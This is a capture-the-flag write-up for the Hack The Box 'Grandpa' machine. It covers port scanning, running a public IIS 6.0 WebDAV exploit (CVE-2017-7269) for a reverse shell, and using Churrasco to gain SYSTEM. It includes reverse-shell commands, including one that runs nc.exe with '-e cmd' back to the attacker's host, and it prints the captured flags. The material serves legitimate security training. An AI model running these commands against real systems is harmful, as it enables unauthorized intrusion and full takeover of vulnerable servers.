> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/windows-machines/grandpa.md).

# Grandpa

![](/files/EfiNGzmFgunDQluSk1nx)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.14 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Mon May 16 11:24:04 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up (0.054s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

# Nmap done at Mon May 16 11:24:30 2022 -- 1 IP address (1 host up) scanned in 26.54 seconds
```

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p80 10.10.10.14 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Mon May 16 11:25:18 2022 as: nmap -sCV -p80 -Pn -oN targeted 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-title: Under Construction
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Server Date: Mon, 16 May 2022 09:25:28 GMT
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 16 11:25:28 2022 -- 1 IP address (1 host up) scanned in 10.06 seconds
```

## Exploitation

As we can see, it has an *IIS httpd 6.0* web server. I started looking for exploits on the internet, and I found this [exploit](https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell) from GitHub. Let's download it and rename it.

> wget <https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell>
>
> mv 'iis6 reverse shell' exploit.py

```
--2022-05-16 12:51:50--  https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12313 (12K) [text/plain]
Saving to: ‘iis6 reverse shell’

iis6 reverse shell                        100%[=====================================================================================>]  12.02K  --.-KB/s    in 0s      

2022-05-16 12:51:50 (57.3 MB/s) - ‘iis6 reverse shell’ saved [12313/12313]
```

Now, let's set a listener on port *4444* with *netcat* and *rlwrap*.

> rlwrap nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

If we run the exploit indicating the IP address of the victim machine, the port in which the website is running, the local IP address, and the port of the netcat listener, we'll get a reverse shell as the `nt authority\network service` user.

> python2 exploit.py 10.10.10.14 80 10.10.14.7 4444

```
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

whoami
whoami
nt authority\network service
```

## Privilege Escalation

Let's see what privileges the user `nt authority\network service` has.

> whoami /priv

```
PRIVILEGES INFORMATION                                                                                                                                                  
----------------------                                                                                                                                                  
                                                                                                                                                                        
Privilege Name                Description                               State                                                                                           
============================= ========================================= ========                                                                                        
SeAuditPrivilege              Generate security audits                  Disabled                                                                                        
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled                                                                                        
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled                                                                                        
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled                                                                                         
SeImpersonatePrivilege        Impersonate a client after authentication Enabled                                                                                         
SeCreateGlobalPrivilege       Create global objects                     Enabled
```

If a user has the *SeImpersonatePrivilege*, the first thing that comes to mind is *JuicyPotato*.

{% hint style="info" %}
**JuicyPotato** is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that *SeImpersonate* or *SeAssignPrimaryToken* are enabled.

<https://github.com/ohpe/juicy-potato>
{% endhint %}

To escalate privileges, we'll have to transfer `JuicyPotato.exe` to the victim machine. Let's set a SMB server with the *impacket* library, on the directory where we have the *JuicyPotato* binary.

> impacket-smbserver sambaFolder $(pwd) -smb2support

And download the binaries from the `\windows\temp` folder.

> copy \\\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe

If we execute it, we'll get an error saying that the binary is incompatible with the system architecture.

> JuicyPotato.exe

```
The image file C:\WINDOWS\Temp\JuicyPotato.exe is valid, but is for a machine type other than the current machine.
```

But, no worries, there is an alternative to *JuicyPotato*. It is called *Churrasco*, and you can download it from [here](https://github.com/Re4son/Churrasco/raw/master/churrasco.exe). Once you download it, transfer it to the *Windows* machine with the same method we did before. And if we execute it indicating the *whoami* command, we'll see that we can execute commands as the `nt authority\system` user.

> churrasco.exe "whoami"

```
nt authority\system
```

Let's get a shell as the `nt authority\system` user. First, let's set a *netcat* listener on port *5555*.

> rlwrap nc -lvnp 5555

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Then, let's set another SMB server on the directory where the `nc.exe` binary is.

> impacket-smbserver sambaFolder $(pwd) -smb2support

And finally, execute the following command on the *Windows* machine, which will send a shell as the `nt authority\system` user to the netcat listener.

> churrasco.exe "\\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555"

```
listening on [any] 5555 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.14] 1037
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

whoami
whoami
nt authority\system
```

Finally, all we have to do is reap the harvest and take the user and the root flag.

```
type \"Documents and Settings"\Harry\desktop\user.txt
bdff5ec67c3cff017f2bedc146a5d869
type \"Documents and Settings"\Administrator\desktop\root.txt
9359e905a2c35f861f6a57cecf28bb7b
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/windows-machines/grandpa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
